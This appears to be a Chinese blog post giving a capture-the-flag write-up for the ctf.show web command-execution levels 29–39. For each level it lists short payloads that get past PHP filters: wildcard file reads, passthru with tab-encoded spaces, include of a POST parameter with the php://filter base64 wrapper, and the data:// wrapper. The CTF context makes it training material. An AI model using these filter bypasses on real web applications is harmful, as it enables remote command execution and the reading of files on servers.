Loading

ctf_show-web入门-命令执行(29-39)

WEB29

 

 

 正则表达式过滤了flag

首先先看看有什么文件, ?c=system(ls);

 

 

 看到了 flag.php 用*来输出,?c=system('cat fla*');

 

这时候页面还是空白,但是看前端代码

 

 

 

 

 

 

 

 

 

 

web30

 

 

 过滤了system和php

可以换用passthru()代替system (),php继续用*代替

 

 

 

 

 

 

 

 

 

 

 

 

 

 

web31

 

 

 又过滤了一堆

继续用passthru(),cat不行可以用more之类的代替,单引号过滤了用双引号,空格可以用tab代替

 

 

 

c=passthru("more%09fla*");

 

 

 

 

 

 

 

web32

 

 

 又过滤一堆符号,首先是分号没了 可以用?>闭合php语句,左括号也没了,所以用带括号的函数就行不通了

这里采用文件包含,?c=include%0a$_POST[test]?>

 

 

 让test为本地文件测试一下。

 

 

 

成功,再使用伪协议,test=php://filter/read=convert.base64-encode/resource=flag.php

 

 

 

 

 对结果base64解码

 

 

 

 

 

 

 

 

 

 

 

 

web33-web36

 

 过滤的越来越多

payload和web32一样,不再赘述

 

 

 

 

 

 

web37

 

 这里c参数不是执行,而是包含

使用  ?c=data:text/plain,<?=system("cat fla*");?>

 

 

 

 

 

 

 

 

 

 

web38-39

同上

 

 

 

 

web40

 

 过滤一大堆,之前的伪协议也没法用了。

 

posted @ 2021-07-26 14:45  Aninock  阅读(78)  评论(0)    收藏  举报